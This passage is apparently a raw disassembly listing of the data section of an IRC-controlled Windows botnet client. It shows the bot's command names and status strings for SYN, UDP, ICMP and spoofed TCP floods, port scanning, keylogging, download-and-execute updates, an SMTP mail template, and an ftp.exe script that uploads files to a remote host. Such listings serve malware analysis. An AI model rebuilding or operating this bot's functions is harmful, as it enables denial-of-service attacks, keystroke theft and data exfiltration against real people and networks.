aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429CAC	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CD4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CF4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429D14	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D44	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D50	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D78	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D94	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429DB0	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429DB8	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DD4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DE0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DE8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DF0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429E2C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E58	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429EC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429EFC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429F14	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429F28	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F38	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F80	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429FBC	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FF4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42A010	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A034	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A070	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A0A0	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A0AC	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A108	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A140	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A16C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A1A8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A2A8	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A31C	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A35C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A388	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A408	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A464	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A470	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A4AC	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A534	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A59C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5D0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A634	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A6A4	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A6CC	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A744	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A78C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A82C	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A880	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8B8	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A900	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A938	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A970	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9FC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:00437FA8o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437FB8o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB38	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB74	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42ABBC	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C70o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C80o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42ADB4	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADDC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADFC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE44	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE90	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AECC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AF08	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AF2C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF4C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF78	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AFC4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFE4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B01C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B050	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
